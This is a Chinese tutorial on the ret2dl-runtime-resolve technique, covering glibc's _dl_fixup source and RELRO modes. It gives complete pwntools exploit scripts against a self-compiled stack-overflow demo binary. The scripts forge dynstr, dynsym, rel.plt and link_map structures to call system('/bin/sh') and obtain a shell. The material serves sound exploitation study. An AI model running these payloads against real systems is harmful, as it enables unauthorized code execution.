0%

ret2dl-runtime_resolve学习

在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。

ELF有plt表和got表,程序调用外部函数函数时,call的是plt表项,而plt表中,是这样的

plt表里,取出了got表对应函数的地址,然后jmp到地址处。

我们看看got表是什么样子的

并**[没有指向read函数]{.mark}**,我们跟踪过去看看

Push了一个数字,然后又jmp到了plt0处

最终发现,先push了一个地址,然后跳到了第二个划线地址处

跟踪进去看看

其实这就是dl_runtime_resolve函数,我们运行完后,再观察got表

其实就是dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需要的数据地址,而第二个参数,则表明要解析的函数在符号表中是第几个,比如,在这个elf文件里,我们的read在第三个位置,因此push 2

那么,dl_runtime_resolve是如何工作的呢?我们查看glibc的源码,看看

它的源码在glibc/sysdeps/x86_64/dl-trampoline.h,是直接用汇编写的,我们看到,dl_runtime_resolve简单的调用了_dl_fixup,因此,我们再去看看_dl_fixup的源码,它的源码在glibc/elf/dl-runtime.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#ifndef reloc_offset  
# define reloc_offset reloc_arg
# define reloc_index reloc_arg / sizeof (PLTREL)
#endif
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg) {
//获取symtab(存放dynsym的数组)
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取strtab(存放符号名的数组)
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获取reloc_arg对应的rel.plt项
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获取reloc_arg对应的dynsym
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
//指向对应的got表,以便将解析结果写回去
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P) {
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
//根据符号名,搜索对应的函数,返回libc基地址,并将符号信息保存到sym中
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

//得到结果
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
//将结果写回到got表中
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

阅读上面源代码,我们知道了,解析时是根据符号名字符串来解析函数的,如果我们能够控制符号名字符串,那么,我们就可以实现解析任何函数,从而达到无需泄露来得到想要的函数。

我们写一个简单的程序来说明ret2dl-resolve技术,现在,我们有以下程序

ret2dl-solv.c

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>  
#include <string.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}

先看在NO_RELRO下的情况

先分析32位情况

1
2
//编译  
//gcc ret2dl-solv.c -z norelro -no-pie -fno-stack-protector -m32 -o ret2dlsolve2

在NO_RELRO情况下,因为dynamic可以修改,因此,我们直接修改dynamic的strtab,将它指向我们可控的区域,然后在可控区域对应的位置布置下需要的函数的名字即可,即伪造

dynstr。要注意对齐。

我们利用read,在bss段布下假的dynstr,然后修改dynamic段里strtab地址,让它指向fake_dynstr,然后手动调用dl_runtime_resolve函数解析,即可得到我们需要的函数。

我们的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf8  
#伪造dynstr完成无泄漏攻击,仅适用于NO RELRO
from pwn import *

sh = process('./ret2dlsolve2')
elf = ELF('./ret2dlsolve2')
read_plt = elf.plt['read']
#此处是用来加载read的地址的,当我们伪造了dynstr后,再调用这个,就能将read解析为我们需要的函数
read_plt_load = 0x80482C6
leave_ret = 0x8048375
pop_ebp = 0x80484cb
#攻击目标,我们要修改这里,让它指向fake_dynstr
target_addr = 0x80496B0 + 4
bss = 0x8049778
fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00system\x00'
#做栈转移,同时继续下一轮的read
payload = 'a'*0x2C + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)
sh.sendline(payload)
#由于多个有参数的函数同时写到一个payload,是完成不了的,互相冲突,因此read_plt_load的参数也是target_addr,即system(target_addr),因此
#我们在target_addr处使用shell注入,即;sh
rop = 'AAAA' + p32(read_plt) + p32(read_plt_load) + p32(0) + p32(target_addr) + p32(0x100)
#将fake_dynstr布置在bss + 0x850处
payload2 = rop.ljust(0x50,'\x00') + fake_dynstr
sh.sendline(payload2)
#raw_input()
#修改dynamic里面的dynstr为fake_dynstr,同时后面的;sh是一个shell注入
sh.sendline(p32(bss+0x850) + ';sh')
sh.interactive()

让我们再看看64位的情况

1
2
//编译  
//gcc ret2dl-solv.c -z norelro -no-pie -fno-stack-protector -o ret2dlsolve2_64

基本一致,只是要考虑栈环境,不然system调用不成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coding:utf8  
#关键是要解决堆栈平衡,不然system不会成功,因此,我们在第一次read时就事先把rop给输入进去了
from pwn import *

sh = process('./ret2dlsolve2_64')
elf = ELF('./ret2dlsolve2_64')
read_plt = elf.plt['read']
fun_addr = elf.sym['fun']
#我们攻击的目标,我们要在此处修改指向fake_dynstr
target_addr = 0x600768 + 8
#用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数
plt0_load = 0x4003B0
#pop rdi;ret;
pop_rdi = 0x400553
#pop rsi ; pop r15 ; ret
pop_rsi = 0x400551
#伪造dynstr
fake_dynstr = '\x00libc.so.6\x00system\x00'
bss = 0x6008F8
#第一次构造2个输入机会,分别输入伪造的字符串,伪造的字符串的地址,rop
rop = p64(pop_rdi) + p64(bss) + p64(plt0_load) + p64(0)
payload = rop.ljust(0x28,'\x00') + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(target_addr) + p64(0) + p64(read_plt)
payload += rop
sh.sendline(payload)
#发送伪造的字符串
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr
sleep(1)
sh.sendline(payload2)
sleep(1)
#修改dynsym里的strtab为我们伪造的dynstr
sh.sendline(p64(bss + 0x10))

sh.interactive()

接下来,我们看看PARTIAL_RELRO的情况

在PARTIAL_RELRO情况下,dynamic不可写,因此不再像上面那样简单的利用,我们需要伪造rel.plt。回过来看看源码

在获取reloc时未检查下标越界,而符号名又是通过sym->st_name取得

因此,我们在可控范围内同时伪造rel.plt、sym和dynstr,那么就能完成利用

我们先来看看32位情况下

1
2
//编译  
//gcc ret2dl-solv.c -z lazy -no-pie -fno-stack-protector -m32 -o ret2dlsolve

各个数据结构,在源代码里查看对应的结构体,结合IDA调试现有的数据伪造即可

先是伪造sym

1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf32_Word st_name; //符号名相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入符号,值为0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

我们可以参照IDA调试里现有的来改

1
2
#开始伪造dynsym  
fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)

然后我们伪造rel.plt

1
2
3
4
5
6
typedef struct  
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//导入符号的信息,r_info = (index) << 8 + 0x7
} Elf32_Rel;

同样可以参照IDA调试里现有的来改

1
2
#开始伪造rel.plt  
fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)

伪造后,我们调用dl_runtime_resolve函数时的第二个参数设置为reloc_arg=fake_rel_addr - rel_addr,这样就能解析出我们指定的函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf8  
#重要,基于dl-runtime的免泄露地址,解析任意函数,实现任意函数的调用
#适用于Partial RELRO和NO RELRO
from pwn import *

sh = process('ret2dlsolve')
elf = ELF('ret2dlsolve')
read_got = elf.got['read']
read_plt = elf.plt['read']
leave_ret = 0x8048395
pop_ebp = 0x80484eb

#真正的dynstr的起始位置
dynstr_addr = 0x804821C
#真正的dynsym的起始地址
dynsym_addr = 0x80481CC
#真正的rel.plt的起始位置
rel_addr = 0x8048298
#调用dll_runtime_resolve处
plt0 = 0x80482D0
#bss段开始的位置
bss = 0x804A01C

#我们准备布置system字符串到bss+0x900处
system_str = bss + 0x900
#接下来布置/bin/sh字符串
binsh_str = system_str + len('system') + 1
#接下来布置fake_dynsym
fake_dynsym_addr = bss + 0x910
#开始伪造dynsym
fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
#接下来布置fake_rel
fake_rel_addr = fake_dynsym_addr + len(fake_dynsym)
#开始伪造rel.plt
fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)
#我们做栈迁移,同时继续调用read,向bss+0x800处写数据,注意,因为栈是从高往低增长,因此我们预留了0x800的空间
#需要注意的是,预留的空间要尽可能大一点,保证dll_runtime_resolve的栈空间够用,不然不能成功,这个问题搞了好久
payload1 = 'a'*0x2C + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)
#第一次,我们做栈迁移,同时继续调用read读取下一轮数据
sh.sendline(payload1)
#第二次,我们需要发送rop以及伪造的数据结构
rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr)
rop += p32(0) + p32(binsh_str)
payload2 = rop.ljust(0x900-0x800,'\x00') + ('system\x00/bin/sh\x00'.ljust(0x10,'\x00'))
payload2 += fake_dynsym + fake_rel
sh.sendline(payload2)

sh.interactive()

然后我们看看64位的情况下

1
2
//编译  
//gcc ret2dl-solv.c -z lazy -no-pie -fno-stack-protector -o ret2dlsolve_64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf8  
#64位情况下,伪造rel.plt变得不可行,因为在
'''''if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
'''
#这里,出现了访问未映射的内存
#主要是reloc->r_info过大的原因,因为我们在bss段伪造的数据,而bss段一般位于0x600000
#然后真正的rel.plt位于0x400000内,导致过大。
#如果我们在里0x400000处有可读写的区域,或许就可以成功
#本脚本在最后一步调用dl_runtime_resolve解析符号失败,因为上述原因
from pwn import *

sh = process('./ret2dlsolve_64')
elf = ELF('./ret2dlsolve_64')
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rbp = 0x400468
pop_rdi = 0x400583
#pop rsi ; pop r15 ; ret
pop_rsi = 0x400581
leave_ret = 0x400506
#用于解析符号dl_runtime_resolve
plt_load = 0x4003E0
#bss段
bss = 0x601030

#第一次,我们做栈迁移,同时继续调用read输入数据
payload = 'a'*0x28 + p64(pop_rbp) + p64(bss + 0x580) + p64(pop_rsi) + p64(bss + 0x580) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(leave_ret)
raw_input()
sh.sendline(payload)
#真正的dynstr的地址
dynstr = 0x400318
#真正的dynsym的地址
dynsym = 0x4002B8
#真正的rel.plt的地址
rel_plt = 0x4003B0
#system字符串存储的字符串的地址
system_str_addr = bss + 0x600
#/bin/sh字符串存的地址
binsh_addr = system_str_addr + len('system') + 1
#伪造的dynsym地址
fake_dynsym_addr = bss + 0x618
#伪造的dynsym
fake_dynsym = (p32(system_str_addr - dynstr) + p8(0x12)).ljust(0x18,'\x00')
#伪造的rel地址,0x8是align作用
fake_rel_addr = fake_dynsym_addr + len(fake_dynsym) + 0x8
#伪造rel.plt
fake_rel = p64(read_got) + p64((((fake_dynsym_addr - dynsym) / 0x18) << 32) + 0x7) + p64(0)

rop = '\x00'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(plt_load) + p64( (fake_rel_addr - rel_plt) / 0x18)
payload2 = rop.ljust(0x80,'\x00') + ('system\x00/bin/sh\x00').ljust(0x18,'\x00')
payload2 += fake_dynsym + '\x00'*0x8 + fake_rel
raw_input()
sh.sendline(payload2)

sh.interactive()

理论上和32位差不多,但是出现了访问错误,因为在中间的执行过程中,[访问到了一段未映射的地址处。]{.mark}

因此,我们得另外想办法,那么得回过来看源代码

1
2
3
4
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)  
{
....
}

第一种方法是修改link_map,使得条件不成了。这种方法需要知道link_map的地址,也就是需要泄露link_map的地址。但是这显得很鸡肋,既然能够泄露,干嘛要用ret2-dl-resolve呢?

另一种方法是绕过最外层的if

1
2
3
4
5
6
7
8
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
...
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

我们到最外层的else里去,如果,我们伪造link_map,让sym->st_value为某个已经解析了的函数的[地址]{.mark},比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址。

1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

如何让sym->st_value为已经解析的函数的地址?

[如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if,一举两得]{.mark}

为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可。

我们需要伪造这个数组里的几个指针,它们分别是

DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

现在,我们就开始伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#l_addr  
fake_link_map = p64(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68,'\x00')
#dyn_strtab的指针
fake_link_map += p64(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
#存入/bin/sh字符串
fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
#在fake_link_map_addr + 0xF8处,是rel.plt指针
fake_link_map += p64(fake_dyn_rel_addr)

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#coding:utf8  
from pwn import *

sh = process('./ret2dlsolve_64')
elf = ELF('./ret2dlsolve_64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
read_plt = elf.plt['read']
read_got = elf.got['read']
fun_addr = elf.sym['fun']

#bss段
bss = 0x601030

l_addr = libc.sym['system'] - libc.sym['read']
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1

#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000

pop_rdi = 0x400583
#pop rsi ; pop r15 ; ret
pop_rsi = 0x400581
#用于解析符号dl_runtime_resolve
plt_load = 0x4003E6

#第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop
payload = 'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)
#raw_input()
sleep(1)
sh.sendline(payload)
#真正的dynstr的地址
dynstr = 0x400318
#我们准备把link_map放置在bss+0x100处
fake_link_map_addr = bss + 0x100
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28
#假的rel.plt
fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38
#l_addr
fake_link_map = p64(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68,'\x00')
#dyn_strtab的指针
fake_link_map += p64(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
#存入/bin/sh字符串
fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
#在fake_link_map_addr + 0xF8处,是rel.plt指针
fake_link_map += p64(fake_dyn_rel_addr)

sleep(1)
sh.sendline(fake_link_map)
sleep(1)
#raw_input()
#现在,我们伪造好了link_map,那么,我们就可以来解析system了
rop = 'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sh.sendline(rop)

sh.interactive()

FULL_RELRO的情况下

程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_map和dl_runtime_resolve函数的地址都为0,因为后续不再使用,没有必要。

因此**[在FULL_RELRO的情况下,要想利用ret2dl-runtime-resolve技术,就只能在栈中低位覆盖数据一定几率恢复出dl_runtime_resolve。]{.mark}**

比如在glibc2.27下,我们低位覆盖这个数据,有很大几率指向dl_runtime_resolve函数的地址,然后,link_map我们可以在我们可控的地方伪造。

然而,仍然很难利用起来,由于低位覆盖的原因,我们不能继续再在这个位置后面布置其他ROP。因此,在不是特别没办法时,尽量考虑其他方法。

这里,介绍一种其他的方法来针对FULL_RELRO的方案来getshell,那就是低位覆盖栈中数据一定几率指向syscall,构造execve(“/bin/sh”,0,0)系统调用。要构造这样的ROP,其他gadget容易搞定,关键是edx必须为0,不然调用会出错,然而,pop edx或pop rdx这样的gadget基本没有,因此,我们可以ret2csu,来控制edx